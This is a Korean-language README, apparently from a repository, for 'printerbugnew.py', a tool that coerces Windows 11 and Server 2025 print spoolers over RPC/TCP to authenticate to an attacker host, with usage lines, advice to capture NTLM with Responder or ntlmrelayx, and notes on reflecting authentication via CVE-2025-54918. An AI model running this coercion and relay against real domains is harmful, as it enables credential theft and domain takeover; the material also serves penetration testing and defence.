TCP를 통한 순수 RPC 프린터 스풀러 트리거

Windows 11 22H2+ / Windows Server 2025 용

사용법

printerbugnew.py <target_host> [username] [password] [domain] [attacker_host] [tcp_port]

예제

익명 연결

printerbugnew.py 192.168.1.100

자격 증명 포함

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN

다른 호스트(공격자)로 백커넥트 트리거

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50

특정 RPC 포트 사용

printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152

참고 사항

대상은 Windows 11 22H2+ 또는 Server 2025여야 합니다 (기본적으로 TCP를 통한 RPC 사용)
이전 버전의 경우 spoolss는 명명된 파이프(SMB)를 통한 RPC를 사용합니다
포트 135와 동적 RPC 포트(49152-65535)가 열려 있는지 확인하세요
공격자 호스트에서 Responder 또는 ntlmrelayx를 시작하여 인증을 캡처하세요
이 경우 스풀러의 잘못된 SPN으로 인해 Kerberos가 실패하므로 NTLM 대체가 강제됩니다.
대상 스풀러의 RPC/TCP 포트를 찾으려면 대상 Endpoint Mapper(EPM)에서 TCP/135를 통해 인터페이스 UUID 12345678-1234-abcd-ef00-0123456789ab를 질의하세요. rpcdump.py, PortQry 또는 원하는 다른 도구를 사용하거나 이 코드에서 직접 EPM 조회를 구현하면 됩니다 ;)
기반: https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

CVE-2025-54918 업데이트

이 반사(reflection)를 통한 익스플로잇은 "새로운" printerbug(명명된 파이프 대신 DCERPC)가 있는 W2025에서만 작동합니다. 작동시키려면 ntlmrelayx를 몇 군데 수정해야 합니다. 그 후에는 W2025 DC에서 원격으로 프린터 버그를 트리거하고 Channel Bindings가 필수인 경우에도 LDAPS를 통해 인증을 반사(reflect)할 수 있습니다.

ldaprelayclient.py:

rpcrelayserver.py

그리고 릴레이 ;)

해당 취약점은 2025년 9월 패치 화요일에 수정되었습니다: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918

수정 사항은 Type 3 메시지가 비어 있는 경우에도 MIC가 항상 계산되도록 보장합니다.

이 CVE 작성자께 귀중한 힌트를 주셔서 감사합니다 :)

printerbugnew

인기